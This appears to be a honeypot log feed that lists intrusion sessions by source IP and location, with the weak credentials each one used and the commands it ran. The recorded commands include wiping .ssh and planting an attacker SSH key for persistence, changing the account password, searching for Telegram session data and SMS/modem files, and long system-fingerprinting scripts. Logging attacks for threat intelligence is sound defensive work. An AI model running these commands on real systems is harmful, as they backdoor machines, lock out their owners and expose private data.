$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "admin123\nyHOYs6TrNsTV\nyHOYs6TrNsTV"|passwd|bash

$ Enter new UNIX password:

$ echo "admin123\nyHOYs6TrNsTV\nyHOYs6TrNsTV\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 murky_fika_root (171.25.158.70) — Vaxjo, Sweden · 1 session · 20 cmds

2026-07-04 01:17 EDT · as admin/admin123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "admin123\nzeRx9OrnehQQ\nzeRx9OrnehQQ"|passwd|bash

$ Enter new UNIX password:

$ echo "admin123\nzeRx9OrnehQQ\nzeRx9OrnehQQ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 arctic_static_root (209.99.190.113) — Zurich, Switzerland · 1 session · 20 cmds

2026-07-04 01:10 EDT · as admin/admin123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "admin123\nhIzCHfXX8X5M\nhIzCHfXX8X5M"|passwd|bash

$ Enter new UNIX password:

$ echo "admin123\nhIzCHfXX8X5M\nhIzCHfXX8X5M\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 haywire_satay_root (149.118.135.252) — Bukit Batu, Malaysia · 1 session · 9 cmds

2026-07-04 00:58 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 frantic_carnival_root (177.16.244.39) — Salvador, Brazil · 1 session · 2 cmds

2026-07-03 23:26 EDT · as oracle/oracle@12345

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sullen_ximen_root (118.194.252.168) — Taipei, Taiwan · 1 session · 2 cmds

2026-07-03 21:47 EDT · as oracle/rootroot

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 feral_k-pop_root (125.137.115.145) — Dalseo-gu, South Korea · 1 session · 9 cmds

2026-07-03 19:56 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 gnarled_star_root_225 (172.210.53.225) — Boydton, United States · 1 session · 1 cmd

2026-07-03 19:45 EDT · as root/1234

privilege check

$ whoami

↳ privilege check

🎭 molten_chai_root (103.149.197.34) — Pune, India · 1 session · 1 cmd

2026-07-03 18:32 EDT · as root/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 spectral_phantom_root (91.92.40.24) — Varna, Bulgaria · 13 sessions · 13 cmds

2026-07-03 16:45 EDT · as admin/admin, deploy/deploy, oracle/Bmw_20!_^

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×13

🎭 placid_wraith_root (91.92.40.233) — Varna, Bulgaria · 45 sessions · 275 cmds

2026-06-21 09:15 EDT · as admin/123456, admin/admin, admin/admin123

OS fingerprinting via uname -s -v -n -m → kernel version extraction from /proc/version → OS release detection via /etc/os-release → uptime verification → PATH environment hardening → passive system profiling without privilege escalation or lateral movement

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×8

$ uname -s -v -n -m 2 > /dev/null ×45

$ /bin/uname -s -v -n -m 2 > /dev/null ×19

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×19

$ busybox uname -s -v -n -m 2 > /dev/null ×19

$ ( [ -f /proc/version ] ×19

$ [ -f /proc/version ] ×19

$ head -1 /proc/version | cut -d -f1 ×19

$ [ -f /etc/os-release ] ×19

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ×11

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×26

$ uname -m 2 > /dev/null ×26

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×26

🎭 zealous_shadow_root (91.92.40.204) — Varna, Bulgaria · 21 sessions · 149 cmds

2026-06-15 09:39 EDT · as admin/123456, admin/admin, admin/admin123

PATH export → uname -s -v -n -m OS fingerprinting → /proc/version and /etc/os-release checks → uptime extraction → hardware profiling via uname -m → cryptomining potential assessment

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×13

$ uname -s -v -n -m 2 > /dev/null ×21

$ /bin/uname -s -v -n -m 2 > /dev/null ×13

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×13

$ busybox uname -s -v -n -m 2 > /dev/null ×13

$ ( [ -f /proc/version ] ×13

$ [ -f /proc/version ] ×13

$ head -1 /proc/version | cut -d -f1 ×13

$ [ -f /etc/os-release ] ×13

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×8

$ uname -m 2 > /dev/null ×8

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×8

🎭 savage_durian_root (206.189.89.22) — Singapore, Singapore · 1 session · 1 cmd

2026-07-03 15:26 EDT · as root/admin123

cat

$ cat /etc/hostname

🎭 sneaky_cowboy_root_181 (47.254.85.181) — Minkler, United States · 1 session · 2 cmds

2026-07-03 14:32 EDT · as oracle/1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 midnight_cactus_root (189.194.140.170) — Puebla City, Mexico · 1 session · 2 cmds

2026-07-03 14:30 EDT · as oracle/1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 manic_nomad_root_19 (209.99.191.19) — Zurich, Switzerland · 1 session · 2 cmds

2026-07-03 14:29 EDT · as oracle/1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 placid_seoul_root (218.51.148.194) — Mapo-gu, South Korea · 1 session · 2 cmds

2026-07-03 14:28 EDT · as oracle/1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 savage_wok_root_3 (14.103.115.3) — Beijing, China · 1 session · 1 cmd

2026-07-03 13:07 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 weary_carpath_root (185.100.84.174) — Bucharest, Romania · 1 session · 1 cmd

2026-07-03 12:21 EDT · as postgres/postgres

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 spectral_clog_root (80.94.92.179) — Amsterdam, The Netherlands · 8 sessions · 72 cmds

2026-07-03 10:24 EDT · as admin/123456, admin/admin123, root/1234

export PATH modification → OS fingerprinting via multiple /usr/bin/uname and busybox variants → kernel version extraction from /proc/version → OS release detection via /etc/os-release

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×8

$ uname -s -v -n -m 2 > /dev/null ×8

$ /bin/uname -s -v -n -m 2 > /dev/null ×8

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×8

$ busybox uname -s -v -n -m 2 > /dev/null ×8

$ ( [ -f /proc/version ] ×8

$ [ -f /proc/version ] ×8

$ head -1 /proc/version | cut -d -f1 ×8

$ [ -f /etc/os-release ] ×8

🎭 velvet_clog_root (2.57.122.168) — Amsterdam, The Netherlands · 13 sessions · 117 cmds

2026-07-03 10:36 EDT · as admin/123456, admin/admin, admin/admin123

PATH manipulation → kernel/version enumeration via uname → OS release detection through /proc/version and /etc/os-release → system profiling for compatibility.

